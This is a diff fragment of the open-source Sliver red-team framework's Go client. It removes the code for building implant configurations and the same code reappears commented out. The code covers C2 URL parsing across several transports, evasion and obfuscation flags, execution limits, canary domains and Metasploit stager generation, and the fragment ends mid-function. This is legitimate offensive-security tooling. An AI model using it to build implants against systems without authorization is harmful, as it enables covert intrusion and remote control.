canaryDomain += "." // Ensure we have the FQDN - } - canaryDomains = append(canaryDomains, canaryDomain) - } - } - - reconnectInterval := ctx.Flags.Int("reconnect") - pollInterval := ctx.Flags.Int("poll") - maxConnectionErrors := ctx.Flags.Int("max-errors") - - limitDomainJoined := ctx.Flags.Bool("limit-domainjoined") - limitHostname := ctx.Flags.String("limit-hostname") - limitUsername := ctx.Flags.String("limit-username") - limitDatetime := ctx.Flags.String("limit-datetime") - limitFileExists := ctx.Flags.String("limit-fileexists") - - isSharedLib := false - isService := false - isShellcode := false - - format := ctx.Flags.String("format") - var configFormat clientpb.OutputFormat - switch format { - case "exe": - configFormat = clientpb.OutputFormat_EXECUTABLE - case "shared": - configFormat = clientpb.OutputFormat_SHARED_LIB - isSharedLib = true - case "shellcode": - configFormat = clientpb.OutputFormat_SHELLCODE - isShellcode = true - case "service": - configFormat = clientpb.OutputFormat_SERVICE - isService = true - default: - // default to exe - configFormat = clientpb.OutputFormat_EXECUTABLE - } - - targetOS := strings.ToLower(ctx.Flags.String("os")) - arch := strings.ToLower(ctx.Flags.String("arch")) - targetOS, arch = getTargets(targetOS, arch) - if targetOS == "" || arch == "" { - return nil - } - - if len(namedPipeC2) > 0 && targetOS != "windows" { - fmt.Printf(Warn + "Named pipe pivoting can only be used in Windows.") - return nil - } - - var tunIP net.IP - if wg := ctx.Flags.String("wg"); wg != "" { - uniqueWGIP, err := rpc.GenerateUniqueIP(context.Background(), &commonpb.Empty{}) - tunIP = net.ParseIP(uniqueWGIP.IP) - if err != nil { - fmt.Println(Warn + "Failed to generate unique ip for wg peer tun interface") - return nil - } - fmt.Printf(Info+"Generated unique ip for wg peer tun interface: %s\n", tunIP.String()) - } - - config := &clientpb.ImplantConfig{ - GOOS: targetOS, - GOARCH: arch, - Name: name, - Debug: ctx.Flags.Bool("debug"), - Evasion: ctx.Flags.Bool("evasion"), - ObfuscateSymbols: symbolObfuscation, - C2: c2s, - CanaryDomains: canaryDomains, - - WGPeerTunIP: tunIP.String(), - WGKeyExchangePort: uint32(ctx.Flags.Int("key-exchange")), - WGTcpCommsPort: uint32(ctx.Flags.Int("tcp-comms")), - - ReconnectInterval: uint32(reconnectInterval), - PollInterval: uint32(pollInterval), - MaxConnectionErrors: uint32(maxConnectionErrors), - - LimitDomainJoined: limitDomainJoined, - LimitHostname: limitHostname, - LimitUsername: limitUsername, - LimitDatetime: limitDatetime, - LimitFileExists: limitFileExists, - - Format: configFormat, - IsSharedLib: isSharedLib, - IsService: isService, - IsShellcode: isShellcode, - } - - return config -} - -func getTargets(targetOS string, targetArch string) (string, string) { - - /* For UX we convert some synonymous terms */ - if targetOS == "darwin" || targetOS == "mac" || targetOS == "macos" || targetOS == "osx" { - targetOS = "darwin" - } - if targetOS == "windows" || targetOS == "win" || targetOS == "shit" { - targetOS = "windows" - } - if targetOS == "linux" || targetOS == "lin" { - targetOS = "linux" - } - - if targetArch == "amd64" || targetArch == "x64" || strings.HasPrefix(targetArch, "64") { - targetArch = "amd64" - } - if targetArch == "386" || targetArch == "x86" || strings.HasPrefix(targetArch, "32") { - targetArch = "386" - } - - target := fmt.Sprintf("%s/%s", targetOS, targetArch) - if _, ok := SupportedCompilerTargets[target]; !ok { - fmt.Printf("āš ļø Unsupported compiler target %s%s%s, but we can try to compile a default implant.\n", - bold, target, normal, - ) - fmt.Printf("āš ļø Default implants do not support all commands/features.\n") - prompt := &survey.Confirm{Message: "Compile a default build?"} - var confirm bool - survey.AskOne(prompt, &confirm) - if !confirm { - return "", "" - } - } - - return targetOS, targetArch -} - -func parseMTLSc2(args string) []*clientpb.ImplantC2 { - c2s := []*clientpb.ImplantC2{} - if args == "" { - return c2s - } - for index, arg := range strings.Split(args, ",") { - uri := url.URL{Scheme: "mtls"} - uri.Host = arg - if uri.Port() == "" { - uri.Host = fmt.Sprintf("%s:%d", uri.Host, defaultMTLSLPort) - } - c2s = append(c2s, &clientpb.ImplantC2{ - Priority: uint32(index), - URL: uri.String(), - }) - } - return c2s -} - -func parseWGc2(args string) []*clientpb.ImplantC2 { - c2s := []*clientpb.ImplantC2{} - if args == "" { - return c2s - } - for index, arg := range strings.Split(args, ",") { - arg = strings.ToLower(arg) - uri := url.URL{Scheme: "wg"} - uri.Host = arg - if uri.Port() == "" { - uri.Host = fmt.Sprintf("%s:%d", uri.Host, defaultWGLPort) - } - c2s = append(c2s, &clientpb.ImplantC2{ - Priority: uint32(index), - URL: uri.String(), - }) - } - return c2s -} - -func parseHTTPc2(args string) []*clientpb.ImplantC2 { - c2s := []*clientpb.ImplantC2{} - if args == "" { - return c2s - } - for index, arg := range strings.Split(args, ",") { - arg = strings.ToLower(arg) - var uri *url.URL - var err error - if strings.HasPrefix(arg, "http://") || strings.HasPrefix(arg, "https://") { - uri, err = url.Parse(arg) - if err != nil { - log.Printf("Failed to parse C2 URL %s", err) - continue - } - } else { - uri, err = url.Parse(fmt.Sprintf("https://%s", arg)) - if err != nil { - log.Printf("Failed to parse C2 URL %s", err) - continue - } - } - c2s = append(c2s, &clientpb.ImplantC2{ - Priority: uint32(index), - URL: uri.String(), - }) - } - return c2s -} - -func parseDNSc2(args string) []*clientpb.ImplantC2 { - c2s := []*clientpb.ImplantC2{} - if args == "" { - return c2s - } - for index, arg := range strings.Split(args, ",") { - uri := url.URL{Scheme: "dns"} - if len(arg) < 1 { - continue - } - // Make sure we have the FQDN - if !strings.HasSuffix(arg, ".") { - arg += "." - } - if strings.HasPrefix(arg, ".") { - arg = arg[1:] - } - - uri.Host = arg - c2s = append(c2s, &clientpb.ImplantC2{ - Priority: uint32(index), - URL: uri.String(), - }) - } - return c2s -} - -func parseNamedPipec2(args string) []*clientpb.ImplantC2 { - c2s := []*clientpb.ImplantC2{} - if args == "" { - return c2s - } - for index, arg := range strings.Split(args, ",") { - uri, err := url.Parse("namedpipe://" + arg) - if len(arg) < 1 { - continue - } - if err != nil { - return c2s - } - c2s = append(c2s, &clientpb.ImplantC2{ - Priority: uint32(index), - URL: uri.String(), - }) - } - return c2s -} - -func parseTCPPivotc2(args string) []*clientpb.ImplantC2 { - c2s := []*clientpb.ImplantC2{} - if args == "" { - return c2s - } - for index, arg := range strings.Split(args, ",") { - - uri := url.URL{Scheme: "tcppivot"} - uri.Host = arg - if uri.Port() == "" { - uri.Host = fmt.Sprintf("%s:%d", uri.Host, defaultTCPPivotPort) - } - c2s = append(c2s, &clientpb.ImplantC2{ - Priority: uint32(index), - URL: uri.String(), - }) - } - return c2s -} - -func profileGenerate(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { - name := ctx.Flags.String("name") - if name == "" { - fmt.Printf(Warn + "no profile selected") - return - } - save := ctx.Flags.String("save") - if save == "" { - save, _ = os.Getwd() - } - profile := getImplantProfileByName(rpc, name) - if profile != nil { - implantFile, err := compile(profile.Config, save, rpc) - if err != nil { - return - } - profile.Config.Name = buildImplantName(implantFile.Name) - _, err = rpc.SaveImplantProfile(context.Background(), profile) - if err != nil { - fmt.Printf(Warn+"could not update implant profile: %v\n", err) - return - } - } else { - fmt.Printf(Warn+"No profile with name '%s'", name) - } -} - -func compile(config *clientpb.ImplantConfig, save string, rpc rpcpb.SliverRPCClient) (*commonpb.File, error) { - - fmt.Printf(Info+"Generating new %s/%s implant binary\n", config.GOOS, config.GOARCH) - - if config.ObfuscateSymbols { - fmt.Printf(Info+"%sSymbol obfuscation is enabled%s\n", bold, normal) - } else if !config.Debug { - fmt.Printf(Warn+"Symbol obfuscation is %sdisabled%s\n", bold, normal) - } - - start := time.Now() - ctrl := make(chan bool) - go spin.Until("Compiling, please wait ...", ctrl) - - generated, err := rpc.Generate(context.Background(), &clientpb.GenerateReq{ - Config: config, - }) - ctrl <- true - <-ctrl - if err != nil { - fmt.Printf(Warn+"%s\n", err) - return nil, err - } - - end := time.Now() - elapsed := time.Time{}.Add(end.Sub(start)) - fmt.Printf(clearln+Info+"Build completed in %s\n", elapsed.Format("15:04:05")) - if len(generated.File.Data) == 0 { - fmt.Printf(Warn + "Build failed, no file data\n") - return nil, errors.New("No file data") - } - - saveTo, err := saveLocation(save, generated.File.Name) - if err != nil { - return nil, err - } - - err = ioutil.WriteFile(saveTo, generated.File.Data, 0700) - if err != nil { - fmt.Printf(Warn+"Failed to write to: %s\n", saveTo) - return nil, err - } - fmt.Printf(Info+"Implant saved to %s\n", saveTo) - return generated.File, err -} - -func profiles(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { - profiles := getImplantProfiles(rpc) - if profiles == nil { - return - } - if len(profiles) == 0 { - fmt.Printf(Info+"No profiles, create one with `%s`\n", consts.NewStr) - return - } - table := tabwriter.NewWriter(os.Stdout, 0, 2, 2, ' ', 0) - fmt.Fprintf(table, "Name\tPlatform\tCommand & Control\tDebug\tFormat\tObfuscation\tLimitations\t\n") - fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t%s\t%s\t\n", - strings.Repeat("=", len("Name")), - strings.Repeat("=", len("Platform")), - strings.Repeat("=", len("Command & Control")), - strings.Repeat("=", len("Debug")), - strings.Repeat("=", len("Format")), - strings.Repeat("=", len("Obfuscation")), - strings.Repeat("=", len("Limitations")), - ) - - for _, profile := range profiles { - config := profile.Config - if 0 < len(config.C2) { - obfuscation := "strings only" - if config.ObfuscateSymbols { - obfuscation = "symbols obfuscation" - } - if config.Debug { - obfuscation = "none" - } - fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t%s\t%s\n", - profile.Name, - fmt.Sprintf("%s/%s", config.GOOS, config.GOARCH), - fmt.Sprintf("[1] %s", config.C2[0].URL), - fmt.Sprintf("%v", config.Debug), - fmt.Sprintf("%v", config.Format), - fmt.Sprintf("%s", obfuscation), - getLimitsString(config), - ) - } - if 1 < len(config.C2) { - for index, c2 := range config.C2[1:] { - fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t%s\t%s\n", - "", - "", - fmt.Sprintf("[%d] %s", index+2, c2.URL), - "", - "", - "", - "", - ) - } - } - fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t%s\t%s\n", "", "", "", "", "", "", "") - } - table.Flush() -} - -func getLimitsString(config *clientpb.ImplantConfig) string { - limits := []string{} - if config.LimitDatetime != "" { - limits = append(limits, fmt.Sprintf("datetime=%s", config.LimitDatetime)) - } - if config.LimitDomainJoined { - limits = append(limits, fmt.Sprintf("domainjoined=%v", config.LimitDomainJoined)) - } - if config.LimitUsername != "" { - limits = append(limits, fmt.Sprintf("username=%s", config.LimitUsername)) - } - if config.LimitHostname != "" { - limits = append(limits, fmt.Sprintf("hostname=%s", config.LimitHostname)) - } - if config.LimitFileExists != "" { - limits = append(limits, fmt.Sprintf("fileexists=%s", config.LimitFileExists)) - } - return strings.Join(limits, "; ") -} - -func newProfile(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { - name := ctx.Flags.String("profile-name") - if name == "" { - fmt.Printf(Warn + "Invalid profile name\n") - return - } - config := parseCompileFlags(ctx, rpc) - if config == nil { - return - } - profile := &clientpb.ImplantProfile{ - Name: name, - Config: config, - } - resp, err := rpc.SaveImplantProfile(context.Background(), profile) - if err != nil { - fmt.Printf(Warn+"%s\n", err) - } else { - fmt.Printf(Info+"Saved new profile %s\n", resp.Name) - } -} - -func rmProfile(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { - _, err := rpc.DeleteImplantProfile(context.Background(), &clientpb.DeleteReq{ - Name: ctx.Args.String("profile-name"), - }) - if err != nil { - fmt.Printf(Warn+"Failed to delete profile %s\n", err) - return - } -} - -func getImplantProfiles(rpc rpcpb.SliverRPCClient) []*clientpb.ImplantProfile { - pbProfiles, err := rpc.ImplantProfiles(context.Background(), &commonpb.Empty{}) - if err != nil { - fmt.Printf(Warn+"Error %s", err) - return nil - } - return pbProfiles.Profiles -} - -func getImplantProfileByName(rpc rpcpb.SliverRPCClient, name string) *clientpb.ImplantProfile { - pbProfiles, err := rpc.ImplantProfiles(context.Background(), &commonpb.Empty{}) - if err != nil { - fmt.Printf(Warn+"Error %s", err) - return nil - } - for _, profile := range pbProfiles.Profiles { - if profile.Name == name { - return profile - } - } - return nil -} - -func canaries(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { - canaries, err := rpc.Canaries(context.Background(), &commonpb.Empty{}) - if err != nil { - fmt.Printf(Warn+"Failed to list canaries %s", err) - return - } - if 0 < len(canaries.Canaries) { - displayCanaries(canaries.Canaries, ctx.Flags.Bool("burned")) - } else { - fmt.Printf(Info + "No canaries in database\n") - } -} - -func displayCanaries(canaries []*clientpb.DNSCanary, burnedOnly bool) { - - outputBuf := bytes.NewBufferString("") - table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0) - - fmt.Fprintf(table, "Sliver Name\tDomain\tTriggered\tFirst Trigger\tLatest Trigger\t\n") - fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t\n", - strings.Repeat("=", len("Sliver Name")), - strings.Repeat("=", len("Domain")), - strings.Repeat("=", len("Triggered")), - strings.Repeat("=", len("First Trigger")), - strings.Repeat("=", len("Latest Trigger")), - ) - - lineColors := []string{} - for _, canary := range canaries { - if burnedOnly && !canary.Triggered { - continue - } - fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t\n", - canary.ImplantName, - canary.Domain, - fmt.Sprintf("%v", canary.Triggered), - canary.FirstTriggered, - canary.LatestTrigger, - ) - if canary.Triggered { - lineColors = append(lineColors, bold+red) - } else { - lineColors = append(lineColors, normal) - } - } - table.Flush() - - for index, line := range strings.Split(outputBuf.String(), "\n") { - if len(line) == 0 { - continue - } - // We need to account for the two rows of column headers - if 0 < len(line) && 2 <= index { - lineColor := lineColors[index-2] - fmt.Printf("%s%s%s\n", lineColor, line, normal) - } else { - fmt.Printf("%s\n", line) - } - } -} +// /* +// Sliver Implant Framework +// Copyright (C) 2019 Bishop Fox + +// This program is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. + +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. + +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . +// */ + +// import ( +// "bytes" +// "context" +// "errors" +// "fmt" +// "io/ioutil" +// "log" +// "net" +// "net/url" +// "os" +// "path" +// "path/filepath" +// "regexp" +// "strings" +// "text/tabwriter" + +// "time" + +// "github.com/AlecAivazis/survey/v2" +// consts "github.com/bishopfox/sliver/client/constants" +// "github.com/bishopfox/sliver/client/spin" +// "github.com/bishopfox/sliver/protobuf/clientpb" +// "github.com/bishopfox/sliver/protobuf/commonpb" +// "github.com/bishopfox/sliver/protobuf/rpcpb" +// "github.com/desertbit/grumble" +// ) + +// var ( +// // SupportedCompilerTargets - Supported compiler targets +// SupportedCompilerTargets = map[string]bool{ +// "darwin/amd64": true, +// "darwin/arm64": true, +// "linux/386": true, +// "linux/amd64": true, +// "windows/386": true, +// "windows/amd64": true, +// } + +// validFormats = []string{ +// "bash", +// "c", +// "csharp", +// "dw", +// "dword", +// "hex", +// "java", +// "js_be", +// "js_le", +// "num", +// "perl", +// "pl", +// "powershell", +// "ps1", +// "py", +// "python", +// "raw", +// "rb", +// "ruby", +// "sh", +// "vbapplication", +// "vbscript", +// } +// ) + +// func generate(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { +// config := parseCompileFlags(ctx, rpc) +// if config == nil { +// return +// } +// save := ctx.Flags.String("save") +// if save == "" { +// save, _ = os.Getwd() +// } +// compile(config, save, rpc) +// } + +// func regenerate(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { +// save := ctx.Flags.String("save") +// if save == "" { +// save, _ = os.Getwd() +// } + +// regenerate, err := rpc.Regenerate(context.Background(), &clientpb.RegenerateReq{ +// ImplantName: ctx.Args.String("implant-name"), +// }) +// if err != nil { +// fmt.Printf(Warn+"Failed to regenerate implant %s\n", err) +// return +// } +// if regenerate.File == nil { +// fmt.Printf(Warn + "Failed to regenerate implant (no data)\n") +// return +// } +// saveTo, err := saveLocation(save, regenerate.File.Name) +// if err != nil { +// fmt.Printf(Warn+"%s\n", err) +// return +// } +// err = ioutil.WriteFile(saveTo, regenerate.File.Data, 0700) +// if err != nil { +// fmt.Printf(Warn+"Failed to write to %s\n", err) +// return +// } +// fmt.Printf(Info+"Implant binary saved to: %s\n", saveTo) +// } + +// func saveLocation(save, defaultName string) (string, error) { +// var saveTo string +// if save == "" { +// save, _ = os.Getwd() +// } +// fi, err := os.Stat(save) +// if os.IsNotExist(err) { +// log.Printf("%s does not exist\n", save) +// if strings.HasSuffix(save, "/") { +// log.Printf("%s is dir\n", save) +// os.MkdirAll(save, 0700) +// saveTo, _ = filepath.Abs(path.Join(saveTo, defaultName)) +// } else { +// log.Printf("%s is not dir\n", save) +// saveDir := filepath.Dir(save) +// _, err := os.Stat(saveTo) +// if os.IsNotExist(err) { +// os.MkdirAll(saveDir, 0700) +// } +// saveTo, _ = filepath.Abs(save) +// } +// } else { +// log.Printf("%s does exist\n", save) +// if fi.IsDir() { +// log.Printf("%s is dir\n", save) +// saveTo, _ = filepath.Abs(path.Join(save, defaultName)) +// } else { +// log.Printf("%s is not dir\n", save) +// prompt := &survey.Confirm{Message: "Overwrite existing file?"} +// var confirm bool +// survey.AskOne(prompt, &confirm) +// if !confirm { +// return "", errors.New("File already exists") +// } +// saveTo, _ = filepath.Abs(save) +// } +// } +// return saveTo, nil +// } + +// func generateStager(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { +// var stageProto clientpb.StageProtocol +// lhost := ctx.Flags.String("lhost") +// if lhost == "" { +// fmt.Println(Warn + "please specify a listening host") +// return +// } +// match, err := regexp.MatchString(`^[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}$`, lhost) +// if err != nil { +// return +// } +// if !match { +// addr, err := net.LookupHost(lhost) +// if err != nil { +// fmt.Printf(Warn+"Error resolving %s: %v\n", lhost, err) +// return +// } +// if len(addr) > 1 { +// prompt := &survey.Select{ +// Message: "Select an address", +// Options: addr, +// } +// err := survey.AskOne(prompt, &lhost) +// if err != nil { +// fmt.Printf(Warn+"Error: %v\n", err) +// return +// } +// } else { +// lhost = addr[0] +// } +// } +// lport := ctx.Flags.Int("lport") +// stageOS := ctx.Flags.String("os") +// arch := ctx.Flags.String("arch") +// proto := ctx.Flags.String("protocol") +// format := ctx.Flags.String("format") +// badchars := ctx.Flags.String("badchars") +// save := ctx.Flags.String("save") + +// bChars := make([]string, 0) +// if len(badchars) > 0 { +// for _, b := range strings.Split(badchars, " ") { +// bChars = append(bChars, fmt.Sprintf("\\x%s", b)) +// } +// } + +// switch proto { +// case "tcp": +// stageProto = clientpb.StageProtocol_TCP +// case "http": +// stageProto = clientpb.StageProtocol_HTTP +// case "https": +// stageProto = clientpb.StageProtocol_HTTPS +// default: +// fmt.Printf(Warn+"%s staging protocol not supported\n", proto) +// return +// } + +// ctrl := make(chan bool) +// go spin.Until("Generating stager, please wait ...", ctrl) +// stageFile, err := rpc.MsfStage(context.Background(), &clientpb.MsfStagerReq{ +// Arch: arch, +// BadChars: bChars, +// Format: format, +// Host: lhost, +// Port: uint32(lport), +// Protocol: stageProto, +// OS: stageOS, +// }) +// ctrl <- true +// <-ctrl + +// if err != nil { +// fmt.Printf(Warn+"Error: %v", err) +// return +// } + +// if save != "" || format == "raw" { +// saveTo, _ := filepath.Abs(save) +// fi, err := os.Stat(saveTo) +// if err != nil { +// fmt.Printf(Warn+"Failed to generate sliver stager %v\n", err) +// return +// } +// if fi.IsDir() { +// saveTo = filepath.Join(saveTo, stageFile.GetFile().GetName()) +// } +// err = ioutil.WriteFile(saveTo, stageFile.GetFile().GetData(), 0700) +// if err != nil { +// fmt.Printf(Warn+"Failed to write to: %s\n", saveTo) +// return +// } +// fmt.Printf(Info+"Sliver stager saved to: %s\n", saveTo) +// } else { +// fmt.Println(Info + "Here's your stager:") +// fmt.Println(string(stageFile.GetFile().GetData())) +// } + +// } + +// func nameOfOutputFormat(value clientpb.OutputFormat) string { +// switch value { +// case clientpb.OutputFormat_EXECUTABLE: +// return "Executable" +// case clientpb.OutputFormat_SERVICE: +// return "Service" +// case clientpb.OutputFormat_SHARED_LIB: +// return "Shared Library" +// case clientpb.OutputFormat_SHELLCODE: +// return "Shellcode" +// } +// panic(fmt.Sprintf("Unknown format %v", value)) +// } + +// func generateCompilerInfo(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { +// compiler, err := rpc.GetCompiler(context.Background(), &commonpb.Empty{}) +// if err != nil { +// fmt.Printf(Warn+"Failed to get compiler information: %s\n", err) +// return +// } +// fmt.Printf("%sServer:%s %s/%s\n", bold, normal, compiler.GOOS, compiler.GOARCH) +// fmt.Println() +// fmt.Printf("%sCross Compilers%s\n", bold, normal) +// for _, cc := range compiler.CrossCompilers { +// fmt.Printf("%s/%s - %s\n", cc.TargetGOOS, cc.TargetGOARCH, cc.GetCCPath()) +// } +// fmt.Println() +// fmt.Printf("%sSupported Targets%s\n", bold, normal) +// for _, target := range compiler.Targets { +// fmt.Printf("%s/%s - %s\n", target.GOOS, target.GOARCH, nameOfOutputFormat(target.Format)) +// } +// fmt.Println() +// fmt.Printf("%sDefault Builds Only%s\n", bold, normal) +// for _, target := range compiler.UnsupportedTargets { +// fmt.Printf("%s/%s - %s\n", target.GOOS, target.GOARCH, nameOfOutputFormat(target.Format)) +// } +// } + +// // Shared function that extracts the compile flags from the grumble context +// func parseCompileFlags(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) *clientpb.ImplantConfig { +// var name string +// if ctx.Flags["name"] != nil { +// name = strings.ToLower(ctx.Flags.String("name")) + +// if name != "" { +// isAlphanumeric := regexp.MustCompile(`^[[:alnum:]]+$`).MatchString +// if !isAlphanumeric(name) { +// fmt.Printf(Warn + "Implant's name must be in alphanumeric only\n") +// return nil +// } +// } +// } + +// c2s := []*clientpb.ImplantC2{} + +// mtlsC2 := parseMTLSc2(ctx.Flags.String("mtls")) +// c2s = append(c2s, mtlsC2...) + +// wgC2 := parseWGc2(ctx.Flags.String("wg")) +// c2s = append(c2s, wgC2...) + +// httpC2 := parseHTTPc2(ctx.Flags.String("http")) +// c2s = append(c2s, httpC2...) + +// dnsC2 := parseDNSc2(ctx.Flags.String("dns")) +// c2s = append(c2s, dnsC2...) + +// namedPipeC2 := parseNamedPipec2(ctx.Flags.String("named-pipe")) +// c2s = append(c2s, namedPipeC2...) + +// tcpPivotC2 := parseTCPPivotc2(ctx.Flags.String("tcp-pivot")) +// c2s = append(c2s, tcpPivotC2...) + +// var symbolObfuscation bool +// if ctx.Flags.Bool("debug") { +// symbolObfuscation = false +// } else { +// symbolObfuscation = !ctx.Flags.Bool("skip-symbols") +// } + +// if len(mtlsC2) == 0 && len(wgC2) == 0 && len(httpC2) == 0 && len(dnsC2) == 0 && len(namedPipeC2) == 0 && len(tcpPivotC2) == 0 { +// fmt.Printf(Warn + "Must specify at least one of --mtls, --wg, --http, --dns, --named-pipe, or --tcp-pivot\n") +// return nil +// } + +// rawCanaries := ctx.Flags.String("canary") +// canaryDomains := []string{} +// if 0 < len(rawCanaries) { +// for _, canaryDomain := range strings.Split(rawCanaries, ",") { +// if !strings.HasSuffix(canaryDomain, ".") { +// canaryDomain += "." // Ensure we have the FQDN +// } +// canaryDomains = append(canaryDomains, canaryDomain) +// } +// } + +// reconnectInterval := ctx.Flags.Int("reconnect") +// pollInterval := ctx.Flags.Int("poll") +// maxConnectionErrors := ctx.Flags.Int("max-errors") + +// limitDomainJoined := ctx.Flags.Bool("limit-domainjoined") +// limitHostname := ctx.Flags.String("limit-hostname") +// limitUsername := ctx.Flags.String("limit-username") +// limitDatetime := ctx.Flags.String("limit-datetime") +// limitFileExists := ctx.Flags.String("limit-fileexists") + +// isSharedLib := false +// isService := false +// isShellcode := false + +// format := ctx.Flags.String("format") +// var configFormat clientpb.OutputFormat +// switch format { +// case "exe": +// configFormat = clientpb.OutputFormat_EXECUTABLE +// case "shared": +// configFormat = clientpb.OutputFormat_SHARED_LIB +// isSharedLib = true +// case "shellcode": +// configFormat = clientpb.OutputFormat_SHELLCODE +// isShellcode = true +// case "service": +// configFormat = clientpb.OutputFormat_SERVICE +// isService = true +// default: +// // default to exe +// configFormat = clientpb.OutputFormat_EXECUTABLE +// } + +// targetOS := strings.ToLower(ctx.Flags.String("os")) +// arch := strings.ToLower(ctx.Flags.String("arch")) +// targetOS, arch = getTargets(targetOS, arch) +// if targetOS == "" || arch == "" { +// return nil +// } + +// if len(namedPipeC2) > 0 && targetOS != "windows" { +// fmt.Printf(Warn + "Named pipe pivoting can only be used in Windows.") +// return nil +// } + +// var tunIP net.IP +// if wg := ctx.Flags.String("wg"); wg != "" { +// uniqueWGIP, err := rpc.GenerateUniqueIP(context.Background(), &commonpb.Empty{}) +// tunIP = net.ParseIP(uniqueWGIP.IP) +// if err != nil { +// fmt.Println(Warn + "Failed to generate unique ip for wg peer tun interface") +// return nil +// } +// fmt.Printf(Info+"Generated unique ip for wg peer tun interface: %s\n", tunIP.String()) +// } + +// config := &clientpb.ImplantConfig{ +// GOOS: targetOS, +// GOARCH: arch, +// Name: name, +// Debug: ctx.Flags.Bool("debug"), +// Evasion: ctx.Flags.Bool("evasion"), +// ObfuscateSymbols: symbolObfuscation, +// C2: c2s, +// CanaryDomains: canaryDomains, + +// WGPeerTunIP: tunIP.String(), +// WGKeyExchangePort: uint32(ctx.Flags.Int("key-exchange")), +// WGTcpCommsPort: uint32(ctx.Flags.Int("tcp-comms")), + +// ReconnectInterval: uint32(reconnectInterval), +// PollInterval: uint32(pollInterval), +// MaxConnectionErrors: uint32(maxConnectionErrors), + +// LimitDomainJoined: limitDomainJoined, +// LimitHostname: limitHostname, +// LimitUsername: limitUsername, +// LimitDatetime: limitDatetime, +// LimitFileExists: limitFileExists, + +// Format: configFormat, +// IsSharedLib: isSharedLib, +// IsService: isService, +// IsShellcode: isShellcode, +// } + +// return config +// } + +// func getTargets(targetOS string, targetArch string) (string, string) { + +// /* For UX we convert some synonymous terms */ +// if targetOS == "darwin" || targetOS == "mac" || targetOS == "macos" || targetOS == "osx" { +// targetOS = "darwin" +// } +// if targetOS == "windows" || targetOS == "win" || targetOS == "shit" { +// targetOS = "windows" +// } +// if targetOS == "linux" || targetOS == "lin" { +// targetOS = "linux" +// } + +// if targetArch == "amd64" || targetArch == "x64" || strings.HasPrefix(targetArch, "64") { +// targetArch = "amd64" +// } +// if targetArch == "386" || targetArch == "x86" || strings.HasPrefix(targetArch, "32") { +// targetArch = "386" +// } + +// target := fmt.Sprintf("%s/%s", targetOS, targetArch) +// if _, ok := SupportedCompilerTargets[target]; !ok { +// fmt.Printf("āš ļø Unsupported compiler target %s%s%s, but we can try to compile a default implant.\n", +// bold, target, normal, +// ) +// fmt.Printf("āš ļø Default implants do not support all commands/features.\n") +// prompt := &survey.Confirm{Message: "Compile a default build?"} +// var confirm bool +// survey.AskOne(prompt, &confirm) +// if !confirm { +// return "", "" +// } +// } + +// return targetOS, targetArch +// } + +// func parseMTLSc2(args string) []*clientpb.ImplantC2 { +// c2s := []*clientpb.ImplantC2{} +// if args == "" { +// return c2s +// } +// for index, arg := range strings.Split(args, ",") { +// uri := url.URL{Scheme: "mtls"} +// uri.Host = arg +// if uri.Port() == "" { +// uri.Host = fmt.Sprintf("%s:%d", uri.Host, defaultMTLSLPort) +// } +// c2s = append(c2s, &clientpb.ImplantC2{ +// Priority: uint32(index), +// URL: uri.String(), +// }) +// } +// return c2s +// } + +// func parseWGc2(args string) []*clientpb.ImplantC2 { +// c2s := []*clientpb.ImplantC2{} +// if args == "" { +// return c2s +// } +// for index, arg := range strings.Split(args, ",") { +// arg = strings.ToLower(arg) +// uri := url.URL{Scheme: "wg"} +// uri.Host = arg +// if uri.Port() == "" { +// uri.Host = fmt.Sprintf("%s:%d", uri.Host, defaultWGLPort) +// } +// c2s = append(c2s, &clientpb.ImplantC2{ +// Priority: uint32(index), +// URL: uri.String(), +// }) +// } +// return c2s +// } + +// func parseHTTPc2(args string) []*clientpb.ImplantC2 { +// c2s := []*clientpb.ImplantC2{} +// if args == "" { +// return c2s +// } +// for index, arg := range strings.Split(args, ",") { +// arg = strings.ToLower(arg) +// var uri *url.URL +// var err error +// if strings.HasPrefix(arg, "http://") || strings.HasPrefix(arg, "https://") { +// uri, err = url.Parse(arg) +// if err != nil { +// log.Printf("Failed to parse C2 URL %s", err) +// continue +// } +// } else { +// uri, err = url.Parse(fmt.Sprintf("https://%s", arg)) +// if err != nil { +// log.Printf("Failed to parse C2 URL %s", err) +// continue +// } +// } +// c2s = append(c2s, &clientpb.ImplantC2{ +// Priority: uint32(index), +// URL: uri.String(), +// }) +// } +// return c2s +// } + +// func parseDNSc2(args string) []*clientpb.ImplantC2 { +// c2s := []*clientpb.ImplantC2{} +// if args == "" { +// return c2s +// } +// for index, arg := range strings.Split(args, ",") { +// uri := url.URL{Scheme: "dns"} +// if len(arg) < 1 { +// continue +// } +// // Make sure we have the FQDN +// if !strings.HasSuffix(arg, ".") { +// arg += "." +// } +// if strings.HasPrefix(arg, ".") { +// arg = arg[1:] +// } + +// uri.Host = arg +// c2s = append(c2s, &clientpb.ImplantC2{ +// Priority: uint32(index), +// URL: uri.String(), +// }) +// } +// return c2s +// } + +// func parseNamedPipec2(args string) []*clientpb.ImplantC2 { +// c2s := []*clientpb.ImplantC2{} +// if args == "" { +// return c2s +// } +// for index, arg := range strings.Split(args, ",") { +// uri, err := 